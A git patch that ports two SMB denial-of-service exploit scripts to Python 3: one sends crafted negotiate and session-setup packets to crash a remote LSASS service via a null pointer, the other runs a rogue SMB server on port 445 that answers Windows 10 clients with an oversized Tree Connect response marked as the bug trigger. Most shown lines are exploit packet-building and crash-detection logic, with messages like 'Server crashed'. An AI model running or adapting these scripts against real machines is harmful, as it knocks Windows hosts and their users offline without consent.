From f16eebe75b2a4703a793b3ab90886e4183c7e730 Mon Sep 17 00:00:00 2001 From: Creatune Date: Mon, 27 Jan 2020 16:47:14 +0530 Subject: [PATCH] Port To Python 3 --- LSASS/Lsass-remote.py | 18 +++++++++--------- LSASS/odict.py | 8 ++++---- SMBv3 Tree Connect/Win10.py | 24 ++++++++++++------------ SMBv3 Tree Connect/odict.py | 8 ++++---- 4 files changed, 29 insertions(+), 29 deletions(-) diff --git a/LSASS/Lsass-remote.py b/LSASS/Lsass-remote.py index 76ef8d0..d80d58a 100644 --- a/LSASS/Lsass-remote.py +++ b/LSASS/Lsass-remote.py @@ -12,13 +12,13 @@ class Packet(): ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): + for k,v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): - return "".join(map(str, self.fields.values())) + return "".join(map(str, list(self.fields.values()))) class SMBHeader(Packet): fields = OrderedDict([ @@ -334,7 +334,7 @@ def SendCustomNego(Message): n = SMBNego(Data = SMBNegoData()) n.calculate() packet0 = str(h)+str(n) - print Message + print(Message) return longueur(packet0)+packet0 def handle(data,s): @@ -347,7 +347,7 @@ def handle(data,s): final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 - print "[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate." + print("[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate.") s.send(buffer1) ##Session Setup AndX Request, NTLMSSP_AUTH, User: \ @@ -357,7 +357,7 @@ def handle(data,s): t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - print "[*]Working..." + print("[*]Working...") s.send(buffer1) data = s.recv(1024) #Make sure it doesn't go in a loop. @@ -365,17 +365,17 @@ def handle(data,s): s.close() #Triggered.. if data[8:10] == "\x73\x05": - print "[*]Null PTR Triggered.\n[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol." + print("[*]Null PTR Triggered.\n[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol.") sleep(2) s.close() ##Bad userID on negotiate protocol, backend service crashed. if data[8:10] == "\x72\x01": - print "[*]Server crashed.\n[*]Quitting" + print("[*]Server crashed.\n[*]Quitting") sys.exit(1) ##Not Vulnerable. if data[8:10] == "\x73\xbb": - print "[!]This server is not vulnerable.\n[*]Quitting" + print("[!]This server is not vulnerable.\n[*]Quitting") sys.exit(1) def run(host): @@ -388,7 +388,7 @@ def run(host): while True: data = s.recv(1024) if data == None: - print "[*]Server crashed.\n[*]Quitting" + print("[*]Server crashed.\n[*]Quitting") handle(data,s) except Exception: sleep(0.5) diff --git a/LSASS/odict.py b/LSASS/odict.py index 1a66992..c4ead48 100644 --- a/LSASS/odict.py +++ b/LSASS/odict.py @@ -48,9 +48,9 @@ def popitem(self, last=True): if not self: raise KeyError('dictionary is empty') if last: - key = reversed(self).next() + key = next(reversed(self)) else: - key = iter(self).next() + key = next(iter(self)) value = self.pop(key) return key, value @@ -79,7 +79,7 @@ def keys(self): def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, self.items()) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) def copy(self): return self.__class__(self) @@ -94,7 +94,7 @@ def fromkeys(cls, iterable, value=None): def __eq__(self, other): if isinstance(other, OrderedDict): return len(self)==len(other) and \ - min(p==q for p, q in zip(self.items(), other.items())) + min(p==q for p, q in zip(list(self.items()), list(other.items()))) return dict.__eq__(self, other) def __ne__(self, other): diff --git a/SMBv3 Tree Connect/Win10.py b/SMBv3 Tree Connect/Win10.py index 79d9a25..3cf156a 100644 --- a/SMBv3 Tree Connect/Win10.py +++ b/SMBv3 Tree Connect/Win10.py @@ -1,4 +1,4 @@ -import sys, struct, SocketServer +import sys, struct, socketserver from odict import OrderedDict from datetime import datetime from calendar import timegm @@ -9,13 +9,13 @@ class Packet(): ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): + for k,v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): - return "".join(map(str, self.fields.values())) + return "".join(map(str, list(self.fields.values()))) def NTStamp(Time): NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000) @@ -351,12 +351,12 @@ class SMB2TreeData(Packet): ]) ########################################################################## -class SMB2(SocketServer.BaseRequestHandler): +class SMB2(socketserver.BaseRequestHandler): def handle(self): try: self.request.settimeout(1) - print "From:", self.client_address + print("From:", self.client_address) data = self.request.recv(1024) ##Negotiate proto answer. @@ -366,7 +366,7 @@ def handle(self): t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - print "[*]Negotiating SMBv2." + print("[*]Negotiating SMBv2.") self.request.send(buffer1) data = self.request.recv(1024) @@ -380,7 +380,7 @@ def handle(self): t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - print "[*]Negotiate Protocol SMBv2 packet sent." + print("[*]Negotiate Protocol SMBv2 packet sent.") self.request.send(buffer1) data = self.request.recv(1024) @@ -391,7 +391,7 @@ def handle(self): t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - print "[*]Session challenge SMBv2 packet sent." + print("[*]Session challenge SMBv2 packet sent.") self.request.send(buffer1) data = self.request.recv(1024) @@ -411,14 +411,14 @@ def handle(self): t = SMB2TreeData(Data="C"*1500)#//BUG packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - print "[*]Triggering Bug; Tree Connect SMBv2 packet sent." + print("[*]Triggering Bug; Tree Connect SMBv2 packet sent.") self.request.send(buffer1) data = self.request.recv(1024) except Exception: - print "Disconnected from", self.client_address + print("Disconnected from", self.client_address) pass -SocketServer.TCPServer.allow_reuse_address = 1 -launch = SocketServer.TCPServer(('', 445),SMB2) +socketserver.TCPServer.allow_reuse_address = 1 +launch = socketserver.TCPServer(('', 445),SMB2) launch.serve_forever() diff --git a/SMBv3 Tree Connect/odict.py b/SMBv3 Tree Connect/odict.py index 1a66992..c4ead48 100644 --- a/SMBv3 Tree Connect/odict.py +++ b/SMBv3 Tree Connect/odict.py @@ -48,9 +48,9 @@ def popitem(self, last=True): if not self: raise KeyError('dictionary is empty') if last: - key = reversed(self).next() + key = next(reversed(self)) else: - key = iter(self).next() + key = next(iter(self)) value = self.pop(key) return key, value @@ -79,7 +79,7 @@ def keys(self): def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, self.items()) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) def copy(self): return self.__class__(self) @@ -94,7 +94,7 @@ def fromkeys(cls, iterable, value=None): def __eq__(self, other): if isinstance(other, OrderedDict): return len(self)==len(other) and \ - min(p==q for p, q in zip(self.items(), other.items())) + min(p==q for p, q in zip(list(self.items()), list(other.items()))) return dict.__eq__(self, other) def __ne__(self, other):